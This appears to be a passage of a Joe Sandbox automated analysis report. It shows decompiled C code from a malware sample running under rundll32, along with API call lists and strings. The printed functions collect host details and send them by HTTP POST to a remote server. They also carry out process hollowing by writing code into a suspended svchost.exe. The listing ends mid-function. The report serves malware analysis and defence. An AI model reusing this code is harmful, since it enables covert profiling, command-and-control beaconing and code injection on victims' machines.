Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHash$AcquireCreateRelease
String ID:
API String ID: 1222261195-0
Opcode ID: 2715d1e805116782b2e2b0a8f1876e14d5461af7cb73b9ee0d84011dd38788ad
Instruction ID: 9758c764814f041e1c376b0fb8701045b6d50443913e917bc034a41f78d8973c
Opcode Fuzzy Hash: 2715d1e805116782b2e2b0a8f1876e14d5461af7cb73b9ee0d84011dd38788ad
Instruction Fuzzy Hash: 98312E79E00208FBEB15CFA4DC49FAFB7B8AB45705F508058F611BB280D7B5AA44DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00343400, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00343400() {
				struct HINSTANCE__* _v8;
				_Unknown_base(*)()* _v12;
				struct _SYSTEM_INFO _v48;

				E003414A0( &_v48, 0, 0x24);
				_v8 = GetModuleHandleA("kernel32.dll");
				if(_v8 != 0) {
					_v12 = GetProcAddress(_v8, "GetNativeSystemInfo");
					if(_v12 == 0) {
						GetSystemInfo( &_v48);
					} else {
						_v12( &_v48);
					}
					if((_v48.dwOemId & 0x0000ffff) != 9) {
						return 0;
					} else {
						return 1;
					}
				}
				return 0;
			}

0x0034340e
0x00343421
0x00343428
0x0034343d
0x00343444
0x00343453
0x00343446
0x0034344a
0x0034344a
0x00343460
0x00000000
0x00343462
0x00000000
0x00343462
0x00343460
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,00341B21), ref: 0034341B
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00343437
GetNativeSystemInfo.KERNEL32(?), ref: 0034344A

Strings

GetNativeSystemInfo, xrefs: 0034342E
kernel32.dll, xrefs: 00343416

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleNativeProcSystem
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3469989633-192647395
Opcode ID: 27a495caee833a46c6e130f6c3777f5d2f70963e35cacb308ca3274ab44b0334
Instruction ID: c5a16b9ad821bc9b9dcd82342777376585b6a8c9f778832950ba0a6e769d6195
Opcode Fuzzy Hash: 27a495caee833a46c6e130f6c3777f5d2f70963e35cacb308ca3274ab44b0334
Instruction Fuzzy Hash: C7018134D00208EBCB06DFF698497EDB7F8EB08711F108565E601BB280E778A794D760

Uniqueness

Uniqueness Score: -1.00%

Function 00341AA0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00341AA0(intOrPtr __edx, void* __eflags, void* _a4, intOrPtr _a8, DWORD* _a12) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v68;
				char _v324;
				char _v2372;
				char _v6468;
				intOrPtr _t47;
				intOrPtr _t56;
				char* _t63;
				intOrPtr _t66;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				char* _t72;
				void* _t75;
				char* _t89;
				intOrPtr _t95;
				char* _t104;
				intOrPtr _t106;
				void* _t110;
				void* _t113;
				void* _t114;

				_t95 = __edx;
				E00341420(0x1940);
				_v12 = GetVersion();
				_t47 = E00342630(_t95); // executed
				_v32 = _t47;
				_v28 = _t95;
				E003430F0( &_v324); // executed
				E00342520( &_v68,  &_v68); // executed
				E003423C0( &_v2372); // executed
				_t113 = _t110 + 0xc;
				_v20 = _v12 & 0xff;
				_v16 = (_v12 & 0xffff) >> 0x00000008 & 0xff;
				_t56 = E00343400(); // executed
				_v36 = _t56;
				if(_v36 != 1) {
					_push(_v16);
					wsprintfA( &_v6468, "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)", _v32, _v28, E003425B0( &_v68),  &_v324,  &_v2372,  &_v68, _v20);
					_t114 = _t113 + 0x28;
				} else {
					_push(_v16);
					_t75 = E003425B0( &_v324); // executed
					wsprintfA( &_v6468, "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)", _v32, _v28, _t75,  &_v324,  &_v2372,  &_v68, _v20);
					_t114 = _t113 + 0x28;
				}
				if( *0x3472a0 == 0) {
					_t71 = E00341390(0x400);
					_t114 = _t114 + 4;
					 *0x3472a0 = _t71;
					_t72 =  *0x3472a0; // 0x55c170
					 *_t72 = 0;
				}
				_v24 = 1;
				while(_v24 == 1) {
					_t63 =  *0x3472a0; // 0x55c170
					_t87 =  *_t63;
					if( *_t63 == 0) {
						_t106 =  *0x3472a0; // 0x55c170
						_t70 = E00342660(_t87, _t106);
						_t114 = _t114 + 4;
						_v24 = _t70;
					}
					_t89 =  *0x3472a0; // 0x55c170
					_t66 = E003428D0(_t89,  &_v6468, _a4, _a8, _a12); // executed
					_t114 = _t114 + 0x14;
					_v8 = _t66;
					if(_v8 == 1) {
						_t69 = E00341A00(_t89, _a4);
						_t114 = _t114 + 4;
						_v8 = _t69;
					}
					if(_v8 != 1) {
						_t104 =  *0x3472a0; // 0x55c170
						 *_t104 = 0;
						continue;
					} else {
						return 1;
					}
				}
				return 0;
			}

0x00341aa0
0x00341aa8
0x00341ab3
0x00341ab6
0x00341abb
0x00341abe
0x00341ac8
0x00341ad4
0x00341ae3
0x00341ae8
0x00341aff
0x00341b19
0x00341b1c
0x00341b21
0x00341b28
0x00341b6c
0x00341b9d
0x00341ba3
0x00341b2a
0x00341b2d
0x00341b44
0x00341b5e
0x00341b64
0x00341b64
0x00341bad
0x00341bb4
0x00341bb9
0x00341bbc
0x00341bc9
0x00341bce
0x00341bce
0x00341bd2
0x00341bd9
0x00341beb
0x00341bf0
0x00341bf6
0x00341bf8
0x00341bff
0x00341c04
0x00341c07
0x00341c07
0x00341c1d
0x00341c24
0x00341c29
0x00341c2c
0x00341c33
0x00341c39
0x00341c3e
0x00341c41
0x00341c41
0x00341c48
0x00341c59
0x00341c5f
0x00000000
0x00341c4a
0x00000000
0x00341c4a
0x00341c48
0x00000000

APIs

GetVersion.KERNEL32(?,003418CD,?,00100000,?), ref: 00341AAD

Part of subcall function 003430F0: GetComputerNameA.KERNEL32(?,00000104), ref: 0034311A
Part of subcall function 003430F0: lstrcatA.KERNEL32(00100000,?), ref: 0034312F
Part of subcall function 003430F0: lstrcatA.KERNEL32(00100000, @ ), ref: 0034313E
Part of subcall function 003430F0: lstrcatA.KERNEL32(00100000,?), ref: 00343162

Part of subcall function 00342520: lstrcpyA.KERNEL32(00341AD9,84.17.52.8,?,?,00341AD9,?,?), ref: 00342540

Part of subcall function 003423C0: DsEnumerateDomainTrustsA.NETAPI32(00000000,0000003F,00341AE8,?,?,00341AE8,?,?,?), ref: 003423E1

Part of subcall function 00343400: GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,00341B21), ref: 0034341B

wsprintfA.USER32 ref: 00341B5E
wsprintfA.USER32 ref: 00341B9D

Strings

GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32), xrefs: 00341B91
GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64), xrefs: 00341B52

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$ComputerDomainEnumerateHandleModuleNameTrustsVersionlstrcpy
String ID: GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)$GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)
API String ID: 768865819-2171647522
Opcode ID: b89b1dc0f49e362b062368d8d4336e97ef04c9efc8478a0b3d0af7cc3d8cbabd
Instruction ID: e228579921a923e20b3c2eae77035d1985fb8b362c3e3545dc034b6b895a1377
Opcode Fuzzy Hash: b89b1dc0f49e362b062368d8d4336e97ef04c9efc8478a0b3d0af7cc3d8cbabd
Instruction Fuzzy Hash: 2D513DB6D002199BDB16DF94DC91AFEB7F8FB48300F048569F206AF241E734AA85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00343270, Relevance: 6.1, APIs: 4, Instructions: 113
memoryinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00343270(void* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				void* _t55;
				void* _t57;
				void* _t59;
				int _t65;
				void* _t92;
				void* _t93;

				_t3 = _a8 + 0x3c; // 0xf445c7f8
				_v24 = _a8 +  *_t3;
				_v16 =  *((intOrPtr*)(_v24 + 0x34));
				_v20 =  *((intOrPtr*)(_v24 + 0x50));
				_v12 = 0;
				_v8 = 0;
				_v28 = 0;
				while(1) {
					_t55 = VirtualAllocEx(_a4, _v16, _v20, 0x3000, 0x40); // executed
					_v8 = _t55;
					if(_v8 == 0) {
						_v8 = VirtualAllocEx(_a4, 0, _v20, 0x3000, 0x40);
						_v16 = _v8;
					}
					if(_v8 == 0) {
						break;
					}
					_t57 = E00341390(_v20); // executed
					_t93 = _t92 + 4;
					_v12 = _t57;
					if(_v12 != 0) {
						_t59 = E00343A00(_a8, _a12, _v12, _v16);
						_t92 = _t93 + 0x10;
						if(_t59 == 0) {
						} else {
							if(_a16 != 0) {
								 *_a16 = _v16;
							}
							if(_a20 != 0) {
								 *_a20 = _v16 +  *((intOrPtr*)(_v24 + 0x28));
							}
							_t65 = WriteProcessMemory(_a4, _v8, _v12, _v20, 0); // executed
							if(_t65 != 0) {
								_v28 = 1;
								if(0 != 0) {
									continue;
								}
							} else {
							}
						}
					} else {
					}
					L17:
					if(_v12 != 0) {
						E003413D0(_v12);
					}
					if(_v8 != 0 && _v28 == 0) {
						VirtualFreeEx(_a4, _v8, 0, 0x8000);
					}
					return _v28;
				}
				goto L17;
			}

0x0034327c
0x0034327f
0x00343288
0x00343291
0x00343294
0x0034329b
0x003432a2
0x003432a9
0x003432bc
0x003432c2
0x003432c9
0x003432e2
0x003432e8
0x003432e8
0x003432ef
0x00000000
0x00000000
0x003432fa
0x003432ff
0x00343302
0x00343309
0x0034331d
0x00343322
0x00343327
0x00343329
0x0034332d
0x00343335
0x00343335
0x0034333b
0x00343349
0x00343349
0x00343361
0x00343369
0x0034336d
0x00343376
0x00000000
0x00000000
0x00000000
0x0034336b
0x00343369
0x00000000
0x0034330b
0x0034337c
0x00343380
0x00343386
0x0034338b
0x00343392
0x003433a9
0x003433a9
0x003433b5
0x003433b5
0x00000000

APIs

VirtualAllocEx.KERNELBASE(00000000,00341ECF,FFFFFFFF,00003000,00000040), ref: 003432BC
VirtualAllocEx.KERNEL32(00000000,00000000,FFFFFFFF,00003000,00000040), ref: 003432DC

Part of subcall function 00341390: GetProcessHeap.KERNEL32(?,00341886,00100000), ref: 0034139C
Part of subcall function 00341390: RtlAllocateHeap.NTDLL(004E0000,00000000,00341886,?,00341886,00100000), ref: 003413BD

WriteProcessMemory.KERNELBASE(00000000,00000000,00000000,FFFFFFFF,00000000), ref: 00343361
VirtualFreeEx.KERNEL32(00000000,00000000,00000000,00008000), ref: 003433A9

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Virtual$AllocHeapProcess$AllocateFreeMemoryWrite
String ID:
API String ID: 2713107948-0
Opcode ID: 26d3f7eb18b25d551af0c4004d82cbc225dd15d637bc00baec67181199dccc9e
Instruction ID: bd334f9dc39eb7bed6d7df267e5a07808eac8a0f637791c6f5dc1255fd71d237
Opcode Fuzzy Hash: 26d3f7eb18b25d551af0c4004d82cbc225dd15d637bc00baec67181199dccc9e
Instruction Fuzzy Hash: A041ECB9A00209EFDB15DF94C895BAEB7F5BB48704F108558E905AB280D774BB40CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00341390, Relevance: 3.0, APIs: 2, Instructions: 18
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00341390(long _a4) {
				void* _t4;
				void* _t6;

				if( *0x34715c == 0) {
					 *0x34715c = GetProcessHeap();
				}
				if( *0x34715c == 0) {
					return 0;
				} else {
					_t6 =  *0x34715c; // 0x4e0000
					_t4 = RtlAllocateHeap(_t6, 0, _a4); // executed
					return _t4;
				}
			}

0x0034139a
0x003413a2
0x003413a2
0x003413ae
0x00000000
0x003413b0
0x003413b6
0x003413bd
0x00000000
0x003413bd

APIs

GetProcessHeap.KERNEL32(?,00341886,00100000), ref: 0034139C
RtlAllocateHeap.NTDLL(004E0000,00000000,00341886,?,00341886,00100000), ref: 003413BD

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 0143b3bf0a7d0202e7e5f547db4947834e8fdc1f79d2400bb41416e92837fd7f
Instruction ID: c00818e2851e0583ffa857bffbb5d6a9a7207227db6b0c1e71110e6a89536cd0
Opcode Fuzzy Hash: 0143b3bf0a7d0202e7e5f547db4947834e8fdc1f79d2400bb41416e92837fd7f
Instruction Fuzzy Hash: 4BE0BD39208685DBD34A9FA1EC0CB2577ECA307385F018424AA058EBA0DB75B898CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003428D0, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 188
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E003428D0(char* _a4, CHAR* _a8, void* _a12, intOrPtr _a16, DWORD* _a20) {
				void* _v8;
				void* _v12;
				signed short _v16;
				signed int _v20;
				void _v24;
				void _v28;
				void* _v32;
				int _v36;
				long _v40;
				int _v44;
				int _v48;
				long _v52;
				intOrPtr _v64;
				char* _v68;
				signed short _v88;
				intOrPtr _v92;
				char* _v96;
				long _v100;
				void* _v112;
				char _v372;
				char _v632;
				void* _t86;
				int _t90;
				int _t100;
				void* _t145;

				E003414A0( &_v112, 0, 0x3c);
				_v112 = 0x3c;
				_v96 =  &_v372;
				_v92 = 0x104;
				_v68 =  &_v632;
				_v64 = 0x104;
				_v36 = 0;
				_v44 = lstrlenA("Content-Type: application/x-www-form-urlencoded");
				 *((char*)(_t145 + 0xfffffffffffffe90)) = 0;
				 *((char*)(_t145 + 0xfffffffffffffd8c)) = 0;
				if(_a8 != 0) {
					_v36 = lstrlenA(_a8);
				}
				if(InternetCrackUrlA(_a4, 0, 0,  &_v112) != 0) {
					if(_v100 == 0) {
						_v100 = 3;
					}
					if(_v100 == 3 || _v100 == 4) {
						_v32 = E003424F0();
						if(_v32 != 0) {
							_v16 = _v88;
							_v20 = 0x84080100;
							if(_v100 == 4) {
								_v20 = _v20 | 0x00803000;
							}
							_t86 = InternetConnectA(_v32,  &_v372, _v16 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
							_v12 = _t86;
							if(_v12 != 0) {
								_v8 = HttpOpenRequestA(_v12, "POST",  &_v632, 0, 0, 0x347048, _v20, 0);
								if(_v8 != 0) {
									if(_v100 == 4) {
										_v40 = 4;
										InternetQueryOptionA(_v8, 0x1f,  &_v24,  &_v40);
										_v24 = _v24 | 0x00001100;
										InternetSetOptionA(_v8, 0x1f,  &_v24, 4);
									}
									_t90 = HttpSendRequestA(_v8, "Content-Type: application/x-www-form-urlencoded", _v44, _a8, _v36); // executed
									_v48 = _t90;
									_v28 = 0;
									if(_v48 == 1) {
										_v52 = 4;
										HttpQueryInfoA(_v8, 0x20000013,  &_v28,  &_v52, 0);
										if(_v28 == 0xc8 && _a12 != 0) {
											_t100 = InternetReadFile(_v8, _a12, _a16 - 1, _a20); // executed
											if(_t100 == 0 ||  *_a20 <= 0) {
												 *_a20 = 0;
											} else {
												 *((char*)(_a12 +  *_a20)) = 0;
											}
										}
									}
									InternetCloseHandle(_v8);
									InternetCloseHandle(_v12);
									if(_v28 != 0xc8) {
										return 0;
									} else {
										return 1;
									}
								}
								InternetCloseHandle(_v12);
								return 0;
							} else {
								return 0;
							}
						}
						return 0;
					} else {
						return 0;
					}
				}
				return 0;
			}

0x003428e1
0x003428e9
0x003428f6
0x003428f9
0x00342906
0x00342909
0x00342910
0x00342922
0x0034292d
0x0034293d
0x00342949
0x00342955
0x00342955
0x0034296c
0x00342979
0x0034297b
0x0034297b
0x00342986
0x0034299a
0x003429a1
0x003429ae
0x003429b2
0x003429bd
0x003429c8
0x003429c8
0x003429e5
0x003429eb
0x003429f2
0x00342a20
0x00342a27
0x00342a3e
0x00342a40
0x00342a55
0x00342a64
0x00342a73
0x00342a73
0x00342a8e
0x00342a94
0x00342a97
0x00342aa2
0x00342aa4
0x00342abe
0x00342acb
0x00342ae6
0x00342aee
0x00342b09
0x00342af8
0x00342b00
0x00342b00
0x00342aee
0x00342acb
0x00342b13
0x00342b1d
0x00342b2a
0x00000000
0x00342b2c
0x00000000
0x00342b2c
0x00342b2a
0x00342a2d
0x00000000
0x003429f4
0x00000000
0x003429f4
0x003429f2
0x00000000
0x0034298e
0x00000000
0x0034298e
0x00342986
0x00000000

APIs

lstrlenA.KERNEL32(Content-Type: application/x-www-form-urlencoded), ref: 0034291C
lstrlenA.KERNEL32(00000000), ref: 0034294F

Part of subcall function 003424F0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko,00000000,00000000,00000000,00000000), ref: 00342509

InternetCrackUrlA.WININET(?,00000000,00000000,0000003C), ref: 00342964
InternetConnectA.WININET(00000000,00000000,00000000,00000000,00000000,00000003,00000000,00000000), ref: 003429E5

Strings

<, xrefs: 003428E9
Content-Type: application/x-www-form-urlencoded, xrefs: 00342917, 00342A85
POST, xrefs: 00342A11

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Internet$lstrlen$ConnectCrackOpen
String ID: <$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 4167639401-2842678110
Opcode ID: 3595bb47926ef8f080fb817a90724f24a3a64da1ae93db496ba4ea63610bea91
Instruction ID: 0e011465b4d3634adec189868b0ea3c5af0a6a8ec3d501a48a41a91f0fce5002
Opcode Fuzzy Hash: 3595bb47926ef8f080fb817a90724f24a3a64da1ae93db496ba4ea63610bea91
Instruction Fuzzy Hash: EF71FB75904209EFDB16DFA4C849BEFB7B9FB49700F508529F605AF280D7B4AA44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00343000, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00343000(long _a4, CHAR* _a8, long _a12, CHAR* _a16, long _a20) {
				long _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				union _TOKEN_INFORMATION_CLASS _v28;
				union _SID_NAME_USE _v32;
				int _t31;
				int _t37;
				int _t43;

				_v12 = OpenProcess(0x400, 0, _a4);
				if(_v12 != 0) {
					if(OpenProcessToken(_v12, 0x20008,  &_v16) != 0) {
						_v8 = 0;
						_t31 = GetTokenInformation(_v16, 1, 0, 0,  &_v8); // executed
						if(_t31 != 0 || GetLastError() != 0x7a) {
							return 0;
						} else {
							_v24 = E00341390(_v8);
							_v20 = _v24;
							_v28 = 0;
							_t37 = GetTokenInformation(_v16, 1, _v20, _v8,  &_v8); // executed
							if(_t37 != 0) {
								_t43 = LookupAccountSidA(0,  *_v20, _a8,  &_a12, _a16,  &_a20,  &_v32); // executed
								if(_t43 != 0) {
									_v28 = 1;
								}
							}
							E003413D0(_v24);
							return _v28;
						}
					}
					return 0;
				}
				return 0;
			}

0x00343017
0x0034301e
0x0034303c
0x00343045
0x0034305a
0x00343062
0x00000000
0x00343073
0x0034307f
0x00343085
0x00343088
0x003430a1
0x003430a9
0x003430c7
0x003430cf
0x003430d1
0x003430d1
0x003430cf
0x003430dc
0x00000000
0x003430e4
0x00343062
0x00000000
0x0034303e
0x00000000

APIs

OpenProcess.KERNEL32(00000400,00000000,?,?,00342E45,?,?,00000104,?,00000104), ref: 00343011
OpenProcessToken.ADVAPI32(00000000,00020008,00000104,?,00342E45,?,?,00000104), ref: 00343034

Strings

E.4, xrefs: 003430AF, 003430E4

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: OpenProcess$Token
String ID: E.4
API String ID: 2935449343-2745396128
Opcode ID: 38561ebc931fc88a4e850bda0dc177466f9134a5aafad5656af3720e6b8b5161
Instruction ID: a93c67df3b1923dfef915fefa336eee28bd4bbca943e9dc500baa679d7bf9e0a
Opcode Fuzzy Hash: 38561ebc931fc88a4e850bda0dc177466f9134a5aafad5656af3720e6b8b5161
Instruction Fuzzy Hash: 9731EFB9A00209AFDB11DFA4DD85FAEB7FCAB48704F104558E606EB180E771BA44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00342C40, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00342C40(void** _a4, intOrPtr* _a8) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				char _v348;
				int _t17;

				E003414A0( &_v88, 0, 0x44);
				_v88.cb = 0x44;
				GetEnvironmentVariableA("SystemRoot",  &_v348, 0x104);
				lstrcatA( &_v348, "\\System32\\svchost.exe");
				_t17 = CreateProcessA(0,  &_v348, 0, 0, 0, 0x424, 0, 0,  &_v88,  &_v20); // executed
				if(_t17 != 0) {
					 *_a4 = _v20.hProcess;
					 *_a8 = _v20.hThread;
					return 1;
				}
				return 0;
			}

0x00342c51
0x00342c59
0x00342c71
0x00342c83
0x00342ca9
0x00342cb1
0x00342cbd
0x00342cc5
0x00000000
0x00342cc7
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 00342C71
lstrcatA.KERNEL32(?,\System32\svchost.exe), ref: 00342C83
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000424,00000000,00000000,00000044,?), ref: 00342CA9

Strings

D, xrefs: 00342C59
SystemRoot, xrefs: 00342C6C
\System32\svchost.exe, xrefs: 00342C77

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateEnvironmentProcessVariablelstrcat
String ID: D$SystemRoot$\System32\svchost.exe
API String ID: 3510847443-1175289849
Opcode ID: f8d909e17a2f3796ff100dd3c05c911b23715c00c429a0baf50e6c26f6e354b2
Instruction ID: 2b2e1f613ac1d9e4c97c6a04afe5618b984a33c2c1bf5b89be8eb1dccda8d13e
Opcode Fuzzy Hash: f8d909e17a2f3796ff100dd3c05c911b23715c00c429a0baf50e6c26f6e354b2
Instruction Fuzzy Hash: 1F011275A40309ABE711DFD0DC46FE9B7B8EB44B05F504554FB09AE2C0EAB47A488B64

Uniqueness

Uniqueness Score: -1.00%

Function 00342520, Relevance: 9.0, APIs: 3, Strings: 3, Instructions: 42
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00342520(void* __ecx, CHAR* _a4) {
				char _v8;
				void* _t10;

				if( *0x00347280 == 0) {
					_t10 = E00341FE0("http://api.ipify.org", "84.17.52.8", 0x20,  &_v8); // executed
					if(_t10 != 1) {
						 *((char*)(0x347280)) = 0;
						lstrcpyA(_a4, "0.0.0.0");
						return 0;
					}
					 *((char*)(_v8 + 0x347280)) = 0;
					lstrcpyA(_a4, "84.17.52.8");
					return 1;
				}
				lstrcpyA(_a4, "84.17.52.8");
				return 1;
			}

0x00342535
0x0034255d
0x00342568
0x00342592
0x003425a2
0x00000000
0x003425a8
0x0034256d
0x0034257d
0x00000000
0x00342583
0x00342540
0x00000000

APIs

lstrcpyA.KERNEL32(00341AD9,84.17.52.8,?,?,00341AD9,?,?), ref: 00342540
lstrcpyA.KERNEL32(00341AD9,84.17.52.8,?,?,00341AD9,?,?), ref: 0034257D

Strings

http://api.ipify.org, xrefs: 00342558
84.17.52.8, xrefs: 00342537, 00342553, 0034256D, 00342574, 00342592
0.0.0.0, xrefs: 00342599

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 0.0.0.0$84.17.52.8$http://api.ipify.org
API String ID: 3722407311-370145731
Opcode ID: 5345df30a754da7a0687b7a6706bdb1361fd69fe9d64c2d576a66b9d9d563b42
Instruction ID: 5edd15c8f3346ff7a9769d72b23675d7e44871b5cfab491f3d62176dca30799f
Opcode Fuzzy Hash: 5345df30a754da7a0687b7a6706bdb1361fd69fe9d64c2d576a66b9d9d563b42
Instruction Fuzzy Hash: 7901DB7470820467D756C764CC1ABDABBD8E705300F514AA4F904DF281C7F6F98147A0

Uniqueness

Uniqueness Score: -1.00%

Function 003430F0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E003430F0(CHAR* _a4) {
				long _v8;
				char _v268;
				char _v528;
				int _t14;
				void* _t16;

				 *_a4 = 0;
				_v8 = 0x104;
				_t14 = GetComputerNameA( &_v268,  &_v8); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					lstrcatA(_a4,  &_v268);
				}
				lstrcatA(_a4, " @ ");
